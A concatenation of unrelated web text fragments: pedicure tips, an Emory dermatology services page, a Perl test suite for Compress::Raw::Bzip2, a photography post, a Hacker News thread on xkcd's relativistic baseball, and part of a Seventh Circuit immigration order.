"Keep the shape of the nail square and only use a clipper if nails are excessively long, as unnecessary cutting can cause brittle nails to split. \"",
"Don't round the corners, because this is where the strength of the nail comes from,\" says Weingarten. \"",
"A lot of people get ingrowns from trying to file the sides.\"",
"\n\nMC Recommends: OPI Shiner XL File, $2.50.",
"\n\nAdvertisement - Continue Reading Below\n\n3 of 4\n\nJeffrey Westbrook/Studio D\n\nSTEP 3. ",
"LACQUERED UP\n\n\"Applying cuticle oil to the base of your nails every night will help pedicures last up to two weeks.\" —",
"Essie Weingarten\n\nFrom moisturizing to ridge-reducing formulas, \"the right basecoat can troubleshoot a lot of nail pigmentation and texture problems,\" says Weingarten. ",
"Apply two coats of your shade of choice before finishing with a topcoat — preferably one with UV filters to prevent fading. ",
"Allowing two minutes between each step will ensure a streak-free application and expedite overall drying. ",
"To minimize the chance of smudging, apply polish first to the foot opposite your dominant hand, then move to the other. ",
"Finally, fix mistakes with a corrector pen or, after the lacquer has dried, by scraping away any excess in the shower.",
"\n\nMC Recommends: Clarins Foot Beauty Treatment Cream, $25.",
"\n\nAdvertisement - Continue Reading Below\n\n4 of 4\n\nJeffrey Westbrook/Studio D\n\nSTEP 4. ",
"PERFECT HUE\n\n\"When in doubt, choose coral,\" says Ferri. ",
"The blue and yellow undertones complement fair and warm skin alike. \"",
"Your fingers and toes don't need to match, but they should be somewhat complementary shades,\" notes Weingarten. ",
"If you opt for a neon purple to play off your Kool-Aid-colored espadrilles, choose a ladylike lavender or neutral mauve for your hands."
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"All our providers treat most basic skin disorders including mild eczema and psoriasis, acne, and warts. ",
"In addition, we routinely evaluate patients for skin cancer, do skin biopsies and other minor skin surgeries, including the removal of moles, skin tags, cysts, and uncomplicated skin cancers. ",
"Learn more >>\n\nThe Department of Dermatology has three Board Certified Pediatric Dermatologists and provides the most extensive scope of pediatric dermatology services in the state of Georgia. ",
"Drs. ",
"Mary Spraker, Leslie Lawley, Zakiya Rice , and Monique Gupta Kumar have unique training and experience in the diagnosis and management of childhood skin disorders including congenital and genetic skin diseases, vascular anomalies, inflammatory skin diseases, infectious diseases, and skin diseases associated with systemic diseases. ",
"Learn more >>\n\nMOHS' Micrographic Surgery is a technique developed by Dr. Frederick Mohs in the 1940s as a precise method of treating certain skin cancers. ",
"It combines surgical removal of the cancer with immediate microscopic examination of the removed tissue to ensure that the tumor is completely removed. ",
"All margins are carefully examined, thus limiting the incidence of reoccurrence. ",
"Learn more >>\n\nA cutaneous lymphoma is a cancer of lymphocytes, a specific type of white blood cells that are present in the skin. ",
"Emory dermatologists work with a multidisciplinary team of oncologists and physicians for diagnosis and treatment. ",
"This multidisciplinary team coordinates physicians from Dermatology, Dermatopathology, Hematopathology, Hematology Oncology, Radiology, and Radiation Oncology to provide state of the art diagnostic and therapeutic approaches to the difficult to diagnose and treat disorder. ",
"No other medical center in the state of Georgia has developed this multidisciplinary approach. ",
"Learn more >>\n\nContact allergy, similar to what is frequently experienced by exposure to poison ivy, can be induced by a wide variety of substances at home and in the work environment. ",
"This disorder may be difficult to diagnose and can present with difficult to treat dermatitis which may persist for months to years. ",
"Emory Dermatology maintains a large library of allergens which can be used to define contact allergy. ",
"Dr. Robert Swerlick has over 20 years of experience in evaluating contact allergy. ",
"Learn more >>\n\nInflammatory Skin Disease Management\n\nInflammatory skin disease may develop as a consequence of the local skin environment or as a consequence of diseases that affect the skin and other organs. ",
"Emory Dermatology has one of the largest groups of physicians in the world with special training and board certification in Immunodermatology. ",
"Our expertise in the arena, both in terms of availability of specific diagnostic tools and experience and expertise in the use of immune modulating therapies is unique in the state of Georgia and is on par with the best Dermatology programs in the country.",
"\n\nMelanoma and Pigmented Lesion Center\n\nEmory Dermatology participates in a multidisciplinary melanoma management group which incorporates elements of early detection, world recognized Dermatopathology, state of the art staging, clinical trials for advance disease, and basic research delving into the basic mechanisms of the disease. ",
"Early detection tools include our pigmented lesion clinics staffed by Drs. ",
"Chen and Washington, and access to \"mole mapping\" photographic services which provides critical information required for optimal surveillance. ",
"Drs. ",
"Chen and Arbiser are involved in fundamental studies into the impact and cause of melanoma moving the frontiers of our understanding. ",
"Appropriate patients for referral include:\n\n• those who have been diagnosed with a melanoma• those who have dysplastic nevus syndrome (many abnormal moles and a family or personal history of melanoma, which places them at greater risk for developing melanoma)• those referred by their primary physician for consultation on a particular lesion\n\nThis Web site is provided as a courtesy to those interested in Emory Healthcare and does not constitute medical advice and does not create any physician/patient relationship. ",
"Also, Emory Healthcare does not endorse or recommend any specific commercial product or service. ",
"This Web site is provided solely for personal and private use of individuals accessing this information, and no part of it may be used for any other purpose."
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"BEGIN {\n if ($ENV{PERL_CORE}) {\n\tchdir 't' if -d 't';\n #@INC = (\"../lib\", \"lib/compress\");\n\t@INC = (\"../lib\");\n }\n}\n\nuse lib 't';\nuse strict;\nuse warnings;\nuse bytes;\n\nuse Test::More ;\n#use CompTestUtils;\n\n\nBEGIN \n{ \n # use Test::NoWarnings, if available\n my $extra = 0 ;\n $extra = 1\n if eval { require Test::NoWarnings ; import Test::NoWarnings; 1 };\n\n\n my $count = 0 ;\n if ($] < 5.005) {\n $count = 103 ;\n }\n elsif ($] >= 5.006) {\n $count = 173 ;\n }\n else {\n $count = 131 ;\n }\n\n plan tests => $count + $extra;\n\n use_ok('Compress::Raw::Bzip2') ;\n}\n\nsub title\n{\n #diag \"\" ;\n ok 1, $_[0] ;\n #diag \"\" ;\n}\n\nsub mkErr\n{\n my $string = shift ;\n my ($dummy, $file, $line) = caller ;\n -- $line ;\n\n $string = quotemeta $string;\n $file = quotemeta($file);\n\n #return \"/$string\\\\s+at $file line $line/\" if $] >= 5.006 ;\n return \"/$string\\\\s+at /\" ;\n}\n\nsub mkEvalErr\n{\n my $string = shift ;\n\n return \"/$string\\\\s+at \\\\(eval /\" if $] > 5.006 ;\n return \"/$string\\\\s+at /\" ;\n}\n\n\n\nmy $hello = <<EOM ;\nhello world\nthis is a test\nEOM\n\nmy $len = length $hello ;\n\n{\n title \"Error Cases\" ;\n\n eval { new Compress::Raw::Bzip2(1,2,3,4,5,6) };\n like $@, mkErr \"Usage: Compress::Raw::Bzip2::new(className, appendOut=1, blockSize100k=1, workfactor=0, verbosity=0)\";\n\n}\n\n\n{\n\n title \"bzdeflate/bzinflate - small buffer\";\n # ==============================\n\n my $hello = \"I am a HAL 9000 computer\" ;\n my @hello = split('', $hello) ;\n my ($err, $x, $X, $status); \n \n ok( ($x, $err) = new Compress::Raw::Bzip2(0), \"Create bzdeflate object\" );\n ok $x, \"Compress::Raw::Bzip2 ok\" ;\n cmp_ok $err, '==', BZ_OK, \"status is BZ_OK\" ;\n \n is $x->uncompressedBytes(), 0, \"uncompressedBytes() == 0\" ;\n is $x->compressedBytes(), 0, \"compressedBytes() == 0\" ;\n\n $X = \"\" ;\n my $Answer = '';\n foreach (@hello)\n {\n $status = $x->bzdeflate($_, $X) ;\n last unless $status == BZ_RUN_OK ;\n \n $Answer .= $X ;\n }\n \n cmp_ok $status, '==', BZ_RUN_OK, \"bzdeflate returned BZ_RUN_OK\" ;\n \n cmp_ok $x->bzflush($X), '==', BZ_RUN_OK, \"bzflush returned BZ_RUN_OK\" ;\n $Answer .= $X ;\n \n is $x->uncompressedBytes(), length $hello, \"uncompressedBytes ok\" ;\n is $x->compressedBytes(), length $Answer, \"compressedBytes ok\" ;\n \n cmp_ok $x->bzclose($X), '==', BZ_STREAM_END, \"bzclose returned BZ_STREAM_END\";\n $Answer .= $X ;\n\n #open F, \">/tmp/xx1\"; print F $Answer ; close F;\n my @Answer = split('', $Answer) ;\n \n my $k;\n ok(($k, $err) = new Compress::Raw::Bunzip2(0, 0));\n ok $k, \"Compress::Raw::Bunzip2 ok\" ;\n cmp_ok $err, '==', BZ_OK, \"status is BZ_OK\" ;\n \n is $k->compressedBytes(), 0, \"compressedBytes() == 0\" ;\n is $k->uncompressedBytes(), 0, \"uncompressedBytes() == 0\" ;\n my $GOT = '';\n my $Z;\n $Z = 1 ;#x 2000 ;\n foreach (@Answer)\n {\n $status = $k->bzinflate($_, $Z) ;\n $GOT .= $Z ;\n last if $status == BZ_STREAM_END or $status !",
"= BZ_OK ;\n \n }\n \n cmp_ok $status, '==', BZ_STREAM_END, \"Got BZ_STREAM_END\" ;\n is $GOT, $hello, \"uncompressed data matches ok\" ;\n is $k->compressedBytes(), length $Answer, \"compressedBytes ok\" ;\n is $k->uncompressedBytes(), length $hello , \"uncompressedBytes ok\";\n\n}\n\n\n{\n # bzdeflate/bzinflate - small buffer with a number\n # ==============================\n\n my $hello = 6529 ;\n \n ok my ($x, $err) = new Compress::Raw::Bzip2 (1) ;\n ok $x ;\n cmp_ok $err, '==', BZ_OK ;\n \n my $status;\n my $Answer = '';\n \n cmp_ok $x->bzdeflate($hello, $Answer), '==', BZ_RUN_OK ;\n \n cmp_ok $x->bzclose($Answer), '==', BZ_STREAM_END, \"bzclose returned BZ_STREAM_END\";\n \n my @Answer = split('', $Answer) ;\n \n my $k;\n ok(($k, $err) = new Compress::Raw::Bunzip2(1, 0) );\n ok $k ;\n cmp_ok $err, '==', BZ_OK ;\n \n #my $GOT = '';\n my $GOT ;\n foreach (@Answer)\n {\n $status = $k->bzinflate($_, $GOT) ;\n last if $status == BZ_STREAM_END or $status !",
"= BZ_OK ;\n \n }\n \n cmp_ok $status, '==', BZ_STREAM_END ;\n is $GOT, $hello ;\n\n}\n\n{\n\n# bzdeflate/bzinflate options - AppendOutput\n# ================================\n\n # AppendOutput\n # CRC\n\n my $hello = \"I am a HAL 9000 computer\" ;\n my @hello = split('', $hello) ;\n \n ok my ($x, $err) = new Compress::Raw::Bzip2 (1) ;\n ok $x ;\n cmp_ok $err, '==', BZ_OK ;\n \n my $status;\n my $X;\n foreach (@hello)\n {\n $status = $x->bzdeflate($_, $X) ;\n last unless $status == BZ_RUN_OK ;\n }\n \n cmp_ok $status, '==', BZ_RUN_OK ;\n \n cmp_ok $x->bzclose($X), '==', BZ_STREAM_END ;\n \n \n my @Answer = split('', $X) ;\n \n my $k;\n ok(($k, $err) = new Compress::Raw::Bunzip2( {-Bufsize => 1, -AppendOutput =>1}));\n ok $k ;\n cmp_ok $err, '==', BZ_OK ;\n \n my $Z;\n foreach (@Answer)\n {\n $status = $k->bzinflate($_, $Z) ;\n last if $status == BZ_STREAM_END or $status !",
"= BZ_OK ;\n \n }\n \n cmp_ok $status, '==', BZ_STREAM_END ;\n is $Z, $hello ;\n}\n\n \n{\n\n title \"bzdeflate/bzinflate - larger buffer\";\n # ==============================\n\n # generate a long random string\n my $contents = '' ;\n foreach (1 .. 50000)\n { $contents .= chr int rand 255 }\n \n \n ok my ($x, $err) = new Compress::Raw::Bzip2(0) ;\n ok $x ;\n cmp_ok $err, '==', BZ_OK ;\n \n my (%X, $Y, %Z, $X, $Z);\n #cmp_ok $x->bzdeflate($contents, $X{key}), '==', BZ_RUN_OK ;\n cmp_ok $x->bzdeflate($contents, $X), '==', BZ_RUN_OK ;\n \n #$Y = $X{key} ;\n $Y = $X ;\n \n \n #cmp_ok $x->bzflush($X{key}), '==', BZ_RUN_OK ;\n #$Y .= $X{key} ;\n cmp_ok $x->bzclose($X), '==', BZ_STREAM_END ;\n $Y .= $X ;\n \n \n \n my $keep = $Y ;\n\n my $k;\n ok(($k, $err) = new Compress::Raw::Bunzip2(0, 0) );\n ok $k ;\n cmp_ok $err, '==', BZ_OK ;\n \n #cmp_ok $k->bzinflate($Y, $Z{key}), '==', BZ_STREAM_END ;\n #ok $contents eq $Z{key} ;\n cmp_ok $k->bzinflate($Y, $Z), '==', BZ_STREAM_END ;\n ok $contents eq $Z ;\n\n # redo bzdeflate with AppendOutput\n\n ok (($k, $err) = new Compress::Raw::Bunzip2(1, 0)) ;\n ok $k ;\n cmp_ok $err, '==', BZ_OK ;\n \n my $s ; \n my $out ;\n my @bits = split('', $keep) ;\n foreach my $bit (@bits) {\n $s = $k->bzinflate($bit, $out) ;\n }\n \n cmp_ok $s, '==', BZ_STREAM_END ;\n \n ok $contents eq $out ;\n\n\n}\n\n\nfor my $consume ( 0 .. 1)\n{\n title \"bzinflate - check remaining buffer after BZ_STREAM_END, Consume $consume\";\n\n ok my $x = new Compress::Raw::Bzip2(0) ;\n \n my ($X, $Y, $Z);\n cmp_ok $x->bzdeflate($hello, $X), '==', BZ_RUN_OK;\n cmp_ok $x->bzclose($Y), '==', BZ_STREAM_END;\n $X .= $Y ;\n \n ok my $k = new Compress::Raw::Bunzip2(0, $consume) ;\n \n my $first = substr($X, 0, 2) ;\n my $remember_first = $first ;\n my $last = substr($X, 2) ;\n cmp_ok $k->bzinflate($first, $Z), '==', BZ_OK;\n if ($consume) {\n ok $first eq \"\" ;\n }\n else {\n ok $first eq $remember_first ;\n }\n\n my $T ;\n $last .= \"appendage\" ;\n my $remember_last = $last ;\n cmp_ok $k->bzinflate($last, $T), '==', BZ_STREAM_END;\n is $hello, $Z . ",
"$T ;\n if ($consume) {\n is $last, \"appendage\" ;\n }\n else {\n is $last, $remember_last ;\n }\n\n}\n\n\n{\n title \"ConsumeInput and a read-only buffer trapped\" ;\n\n ok my $k = new Compress::Raw::Bunzip2(0, 1) ;\n \n my $Z; \n eval { $k->bzinflate(\"abc\", $Z) ; };\n like $@, mkErr(\"Compress::Raw::Bunzip2::bzinflate input parameter cannot be read-only when ConsumeInput is specified\");\n\n}\n\nforeach (1 .. 2)\n{\n next if $] < 5.005 ;\n\n title 'test bzinflate/bzdeflate with a substr';\n\n my $contents = '' ;\n foreach (1 .. 5000)\n { $contents .= chr int rand 255 }\n ok my $x = new Compress::Raw::Bzip2(1) ;\n \n my $X ;\n my $status = $x->bzdeflate(substr($contents,0), $X);\n cmp_ok $status, '==', BZ_RUN_OK ;\n \n cmp_ok $x->bzclose($X), '==', BZ_STREAM_END ;\n \n my $append = \"Appended\" ;\n $X .= $append ;\n \n ok my $k = new Compress::Raw::Bunzip2(1, 1) ;\n \n my $Z; \n my $keep = $X ;\n $status = $k->bzinflate(substr($X, 0), $Z) ;\n \n cmp_ok $status, '==', BZ_STREAM_END ;\n #print \"status $status X [$X]\\n\" ;\n is $contents, $Z ;\n ok $X eq $append;\n #is length($X), length($append);\n #ok $X eq $keep;\n #is length($X), length($keep);\n}\n\ntitle 'Looping Append test - checks that deRef_l resets the output buffer';\nforeach (1 .. 2)\n{\n\n my $hello = \"I am a HAL 9000 computer\" ;\n my @hello = split('', $hello) ;\n my ($err, $x, $X, $status); \n \n ok( ($x, $err) = new Compress::Raw::Bzip2 (0) );\n ok $x ;\n cmp_ok $err, '==', BZ_OK ;\n \n $X = \"\" ;\n my $Answer = '';\n foreach (@hello)\n {\n $status = $x->bzdeflate($_, $X) ;\n last unless $status == BZ_RUN_OK ;\n \n $Answer .= $X ;\n }\n \n cmp_ok $status, '==', BZ_RUN_OK ;\n \n cmp_ok $x->bzclose($X), '==', BZ_STREAM_END ;\n $Answer .= $X ;\n \n my @Answer = split('', $Answer) ;\n \n my $k;\n ok(($k, $err) = new Compress::Raw::Bunzip2(1, 0) );\n ok $k ;\n cmp_ok $err, '==', BZ_OK ;\n \n my $GOT ;\n my $Z;\n $Z = 1 ;#x 2000 ;\n foreach (@Answer)\n {\n $status = $k->bzinflate($_, $GOT) ;\n last if $status == BZ_STREAM_END or $status !",
"= BZ_OK ;\n }\n \n cmp_ok $status, '==', BZ_STREAM_END ;\n is $GOT, $hello ;\n\n}\n\nif ($] >= 5.005)\n{\n title 'test bzinflate input parameter via substr';\n\n my $hello = \"I am a HAL 9000 computer\" ;\n my $data = $hello ;\n\n my($X, $Z);\n\n ok my $x = new Compress::Raw::Bzip2 (1);\n\n cmp_ok $x->bzdeflate($data, $X), '==', BZ_RUN_OK ;\n\n cmp_ok $x->bzclose($X), '==', BZ_STREAM_END ;\n \n my $append = \"Appended\" ;\n $X .= $append ;\n my $keep = $X ;\n \n ok my $k = new Compress::Raw::Bunzip2 ( 1, 1);\n \n# cmp_ok $k->bzinflate(substr($X, 0, -1), $Z), '==', BZ_STREAM_END ; ;\n cmp_ok $k->bzinflate(substr($X, 0), $Z), '==', BZ_STREAM_END ; ;\n \n ok $hello eq $Z ;\n is $X, $append;\n \n $X = $keep ;\n $Z = '';\n ok $k = new Compress::Raw::Bunzip2 ( 1, 0);\n \n cmp_ok $k->bzinflate(substr($X, 0, -1), $Z), '==', BZ_STREAM_END ; ;\n #cmp_ok $k->bzinflate(substr($X, 0), $Z), '==', BZ_STREAM_END ; ;\n \n ok $hello eq $Z ;\n is $X, $keep;\n \n}\n\nexit if $] < 5.006 ;\n\ntitle 'Looping Append test with substr output - substr the end of the string';\nforeach (1 .. 2)\n{\n\n my $hello = \"I am a HAL 9000 computer\" ;\n my @hello = split('', $hello) ;\n my ($err, $x, $X, $status); \n \n ok( ($x, $err) = new Compress::Raw::Bzip2 (1) );\n ok $x ;\n cmp_ok $err, '==', BZ_OK ;\n \n $X = \"\" ;\n my $Answer = '';\n foreach (@hello)\n {\n $status = $x->bzdeflate($_, substr($Answer, length($Answer))) ;\n last unless $status == BZ_RUN_OK ;\n \n }\n \n cmp_ok $status, '==', BZ_RUN_OK ;\n \n cmp_ok $x->bzclose(substr($Answer, length($Answer))), '==', BZ_STREAM_END ;\n \n my @Answer = split('', $Answer) ;\n \n my $k;\n ok(($k, $err) = new Compress::Raw::Bunzip2(1, 0) );\n ok $k ;\n cmp_ok $err, '==', BZ_OK ;\n \n my $GOT = '';\n my $Z;\n $Z = 1 ;#x 2000 ;\n foreach (@Answer)\n {\n $status = $k->bzinflate($_, substr($GOT, length($GOT))) ;\n last if $status == BZ_STREAM_END or $status !",
"= BZ_OK ;\n }\n \n cmp_ok $status, '==', BZ_STREAM_END ;\n is $GOT, $hello ;\n\n}\n\ntitle 'Looping Append test with substr output - substr the complete string';\nforeach (1 .. 2)\n{\n\n my $hello = \"I am a HAL 9000 computer\" ;\n my @hello = split('', $hello) ;\n my ($err, $x, $X, $status); \n \n ok( ($x, $err) = new Compress::Raw::Bzip2 (1) );\n ok $x ;\n cmp_ok $err, '==', BZ_OK ;\n \n $X = \"\" ;\n my $Answer = '';\n foreach (@hello)\n {\n $status = $x->bzdeflate($_, substr($Answer, 0)) ;\n last unless $status == BZ_RUN_OK ;\n \n }\n \n cmp_ok $status, '==', BZ_RUN_OK ;\n \n cmp_ok $x->bzclose(substr($Answer, 0)), '==', BZ_STREAM_END ;\n \n my @Answer = split('', $Answer) ;\n \n my $k;\n ok(($k, $err) = new Compress::Raw::Bunzip2(1, 0) );\n ok $k ;\n cmp_ok $err, '==', BZ_OK ;\n \n my $GOT = '';\n my $Z;\n $Z = 1 ;#x 2000 ;\n foreach (@Answer)\n {\n $status = $k->bzinflate($_, substr($GOT, 0)) ;\n last if $status == BZ_STREAM_END or $status !",
"= BZ_OK ;\n }\n \n cmp_ok $status, '==', BZ_STREAM_END ;\n is $GOT, $hello ;\n}\n\n"
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[
"Tag: Oamaru\n\nHad a great day out in Oamaru at the Victorian Fete http://www.historicoamaru.co.nz/fete.html. ",
"I went with a few people from our photographic society and there were plenty of cool things to experience and photograph.",
"\n\nThis image has been created by selectively layering multiple images from a time lapse to get a scene with the people all dressed up for the occasion."
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[
"\nWhat would happen if you tried to hit a baseball pitched at 90% speed of light? - ",
"molecule\nhttps://what-if.xkcd.com/1/\n======\nsomeguy111\nIf the batter swings and is hit by a pitch its a dead ball and its a strike.",
"\nIf the pitch was in the strike zone then it would also be a dead ball and a\nstrike. ",
"Otherwise If the ball hits the batter first it is a hit by pitch, if\nit hits the bat first its a strike. ",
"Lastly, If the batter hits the ball with\none or two feet outside of the batters box he is out.",
"\n\n~~~\ntempestn\nWelp, since the batter didn't move, and parts of the ball are exploding out in\nall directions, the nearest thing to the incoming ball-cloud would be a piece\nof the batter. ",
"So I'd say he's right. ",
"Hit by ball.",
"\n\n------\npontifier\nI'm convinced this wouldn't happen. ",
"At this speed, only direct collisions of\nnuclei would do anything. ",
"The ball would pass through the air and bat as if\nthey weren't there... and I don't believe it would deposit an appreciable\namount of energy at any particular place...\n\nIf you think I'm wrong, just think about how far high energy protons (cosmic\nrays) travel through our atmosphere before they lose their energy. ",
"Each atom\nof the baseball has a good probability of flying through the air for a\nsubstantial distance before interacting with anything at all.",
"\n\n------\neindiran\nA number of years ago I read an idea (I think it might have been in James S.A.\nCorey's Babylon's Ashes) that I find very compelling; any object becomes a\nweapon given sufficiently high velocity.",
"\n\n------\nsuperpie\nRandall's book \"What If?,\" ",
"which is a collection of these absurd\nhypotheticals, is for sale on Amazon for $3 right now. ",
"I've got it, it's a fun\nread.",
"\n\nEdit: I should add that it's the eBook.",
"\n\n------\ncraftinator\nAnd this is why I read xkcd. ",
"I salute you Randall\n\n~~~\ncraftinator\nAlso, I believe since the batter will have left the plate before being hit by\nthe ball, it would be considered a strike... Or a ball, if no part of the ball\nmakes it through the strike zone.",
"\n\n~~~\ntempestn\nAh, that's interesting! ",
"Would the X-Ray cloud be sufficient to completely blow\nthe batter out of the box before any part of him is hit by the ball-cloud\nnanoseconds later? ",
"I expect some piece of batter is going to be hit by some\nmatter that originated in the ball, within the batter's box.",
"\n\n"
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[
" NONPRECEDENTIAL DISPOSITION\n To be cited only in accordance with\n Fed. ",
"R. App. ",
"P. 32.1\n\n\n\n United States Court of Appeals\n For the Seventh Circuit\n Chicago, Illinois 60604\n\n Argued January 29, 2008\n Decided February 15, 2008\n\n Before\n\n Hon. ",
"WILLIAM J. BAUER, Circuit Judge\n\n Hon. ",
"MICHAEL S. KANNE, Circuit Judge\n\n Hon. ",
"ILANA DIAMOND ROVNER, Circuit Judge\n\nNo. ",
"07-1845\n\nMEI MEI LIU, Petition for Review of an Order of the\n Petitioner, Board of Immigration Appeals.",
"\n\n v. No. ",
"A95 928 960\n\nMICHAEL B. MUKASEY,\n Respondent.",
"\n\n\n ORDER\n\n Mei Mei Liu, a Chinese citizen, petitions for review of the order of the Board\nof Immigration Appeals denying her motion to reopen her claims for asylum,\nwithholding of removal, and relief under the Convention Against Torture. ",
"Liu\noriginally claimed that she feared being persecuted by the Chinese government\nbecause her parents are Falun Gong members. ",
"The BIA affirmed the immigration\njudge’s denial of her claims, but more than two years later, Liu moved to reopen the\nproceedings based on “changed personal circumstances.” ",
"Specifically, she claimed\nthat she was pregnant and unmarried, and if she returned to China government\nauthorities would force her to abort her pregnancy or undergo sterilization. ",
"The\nBIA denied the motion as untimely. ",
"Liu now argues that she is entitled to further\nproceedings based on changed conditions in China. ",
"Because the BIA did not abuse\n\fNo. ",
"07-1845 Page 2\n\n\nits discretion in finding that Liu had shown only a change in personal\ncircumstances, rather than a change of conditions in China, we deny the petition for\nreview.",
"\n Background\n\n Liu is a 29-year-old native of the Fujian Province in the People’s Republic of\nChina. ",
"She arrived in the United States in the summer of 2003 and applied for\nasylum based on her parents’ membership in Falun Gong. ",
"At her asylum hearing\nLiu testified that she herself was not a Falun Gong member, but that she had\nhelped her parents distribute materials promoting the group. ",
"She said that in June\n2003 government officials came to her home, smashed her furniture, and tried to\narrest her. ",
"Liu said that she escaped to a friend’s house and shortly thereafter\ncame to the United States. ",
"The IJ did not believe Liu’s story and denied her claims.",
"\nThe BIA summarily dismissed her appeal in June 2004, and Liu did not seek\nfurther review.",
"\n\n It is unclear from the record why Liu was not then removed to China, but\nmore than two years later, in October 2006, Liu filed a motion to reopen stating\nthat her “personal circumstances [had] changed materially.” ",
"Liu, who was\nunmarried, stated that she was five-months’ pregnant and that accordingly she\nrisked being forced to abort her pregnancy or undergo forced sterilization if she\nreturned to China.1 In support of her motion Liu submitted a document that she\nclaims was distributed by her home township’s family planning office. ",
"The\ndocument is entitled “Combine Our Efforts in Thorough Implementation of Family\nPlanning,” and states, in relevant part, that as of February 2006 “‘[r]enewed efforts\nat detention (arrest)’ should be exerted upon unplanned-birth offenders still at large\nso far.” ",
"It also states that “[a]ll firm measures may be taken everywhere to prevent\nchildbirth out of the wedlock.” ",
"According to the document, those measures include\n“manual miscarriage” or abortion. ",
"Liu argued that this document corroborated her\nclaim that she was entitled to further proceedings “on the ground of changed\npersonal circumstances.”",
"\n\n The BIA denied Liu’s motion as untimely. ",
"It found that her claim did not\nsatisfy the exception to the 90-day deadline because Liu had shown only a change in\nher personal circumstances, not a change in country conditions. ",
"It also stated that\nthe family planning document “does not show a material change in coercive\nenforcement practices since the time of [Liu]’s hearing.”",
"\n\n\n\n\n 1\n Liu gave birth to a son in February 2007.",
"\n\fNo. ",
"07-1845 Page 3\n\n\n Analysis\n\n The BIA may reopen removal proceedings after the 90-day filing deadline has\nexpired only if the applicant submits material evidence of changed country\nconditions that was not available and could not have been presented at her prior\nhearing. ",
"8 U.S.C. § 1229a(c)(7)(C)(ii); 8 C.F.R. § 1003.2(c)(3)(ii); Lin v. Gonzales,\n435 F.3d 708, 710 (7th Cir. ",
"2006). ",
"This court reviews the BIA’s denial of a motion to\nreopen for abuse of discretion only. ",
"Gomes v. Gonzales, 473 F.3d 746, 752 (7th Cir.",
"\n2007). ",
"Liu argues that the BIA abused its discretion in deeming her motion\nuntimely because, she says, the family planning document she submitted\nconstitutes material evidence of a change in China’s family planning policy. ",
"She\nargues that the document shows that in February 2006 the government began\nforcing women who violate the policy to undergo forced abortions or sterilization.",
"\n\n Nowhere in her motion to reopen or accompanying affidavit did Liu argue\nthat conditions in China had changed. ",
"Instead she specifically sought relief based\non her “changed personal circumstances”—namely, her pregnancy. ",
"We have held\nthat changed personal circumstances, including the birth of a child in the United\nStates, do not justify the relevant statutory exception to the 90-day filing\nrequirement for motions to reopen. ",
"Chen v. Gonzales, 498 F.3d 758, 760 (7th Cir.",
"\n2007); Zhao v. Gonzales, 440 F.3d 405, 407 (7th Cir. ",
"2005). ",
"Perhaps recognizing\nthat barrier, Liu now argues that she is entitled to further proceedings because she\nsubmitted evidence of a change in China’s enforcement of its family planning\npolicies. ",
"But as the government points out, Liu did not argue to the BIA that\nconditions in China had changed, and thus she has not exhausted her\nadministrative remedies. ",
"See 8 U.S.C. § 1252(d)(1); Margos v. Gonzales, 443 F.3d\n593, 599 (7th Cir. ",
"2006). ",
"Notably, Liu did not file a reply brief to refute the\ngovernment’s exhaustion argument or to argue that she somehow preserved the\nissue. ",
"See Margos, 443 F.3d at 599.",
"\n\n Normally, Liu’s failure to exhaust her claim of changed country conditions\nwould mean that this court lacks jurisdiction to consider the new argument she\npresents here. ",
"8 U.S.C. § 1252(d)(1); see also Margos, 443 F.3d at 599; Hamdan v.\nGonzales, 425 F.3d 1051, 1059 n.14 (7th Cir. ",
"2005). ",
"But here the BIA addressed the\nissue sua sponte, stating that the family planning document “does not show a\nmaterial change in coercive enforcement practices since the time of the respondent’s\nhearing,” and thus concluding that she did not meet the statutory exception for\nchanged country conditions. ",
"Although we have not directly decided whether we\nretain jurisdiction to review unexhausted claims that the BIA addresses sua sponte,\nthe majority of circuits that have addressed the question have held that jurisdiction\nexists in this situation. ",
"See Sidabutar v. Gonzales, 503 F.3d 1116, 1119-22 (10th\nCir. ",
"2007); Ye v. Dep’t of Homeland Sec., ",
"446 F.3d 289, 296-97 (2d Cir. ",
"2006); Abebe\n\fNo. ",
"07-1845 Page 4\n\n\nv. Gonzales, 432 F.3d 1037, 1041 (9th Cir. ",
"2005); cf. ",
"Nazarova v. INS, 171 F.3d 478,\n488-89 (7th Cir. ",
"1999) (Manion, J., dissenting) (stating that where the BIA\naddressed an issue sua sponte “it was exhausted to the extent it could be”); but see\nAmaya-Artunduaga v. U.S. Att’y Gen., 463 F.3d 1247, 1250-51 (11th Cir. ",
"2006)\n(holding that the court lacks jurisdiction to review an otherwise unexhausted claim\nthat the BIA addresses sua sponte.)",
"\n\n We find that the BIA’s decision to address the question of changed country\nconditions preserves our jurisdiction to review the issue. ",
"The purpose of the\nexhaustion requirement is to give the BIA “the opportunity to apply its specialized\nknowledge and experience to the matter,” Padilla v. Gonzales, 470 F.3d 1209, 1213\n(7th Cir. ",
"2006), and to afford it the chance “to provide the petitioner the ultimate\nrelief requested in the first instance,” Gonzalez v. O’Connell, 355 F.3d 1010, 1017\n(7th Cir. ",
"2004). ",
"As the Tenth Circuit recently held, both of these concerns are\nsatisfied when the BIA decides the merits of an issue sua sponte. ",
"See Sibutar, 503\nF.3d at 1122 (holding that a “substantive final decision by the BIA on the issues . . .",
"\nis all that is needed to confer our jurisdiction”). ",
"Where, as here, the BIA applied its\nexpertise and exercised its discretion to make a substantive ruling on whether Liu\nhad shown changed country conditions, “it would be bizarre—and decidedly unfair\nto [Liu]—for us to refuse to review that decision.” ",
"See Socop-Gonzalez v. INS, 272\nF.3d 1176, 1186 (9th Cir. ",
"2001) (internal quotation marks and citation omitted).",
"\nAnd it is unclear why we should refuse to consider an issue based on a procedural\ndefect—failure to exhaust—that the BIA was willing to overlook. ",
"See Abebe, 432\nF.3d 1041. ",
"Accordingly, we find that we have jurisdiction to review the BIA’s sua\nsponte finding that Liu had not shown changed country conditions in China.",
"\n\n Turning to the merits, Liu argues that the family planning document she\nsubmitted along with her motion to reopen is sufficient to show changed country\nconditions. ",
"But the document on which Liu relies describes persistent—rather than\nnew—conditions. ",
"See Zhao, 440 F.3d at 407. ",
"It shows that local officials were\nadvocating “[r]enewed efforts” in enforcing family planning policies, suggesting that\nsuch efforts had been made previously. ",
"It further states that “we must never show\nleniency or softness in ‘working at family planning,’ nor must we loosen our effort or\nrelax our vigilance to any degree in our thinking; rather, we should consider work\nat family planning as an ongoing task every year.” ",
"Nothing in the document\nannounces a new policy or suggests that the coercive tactics it describes had not\nbeen used in the past.",
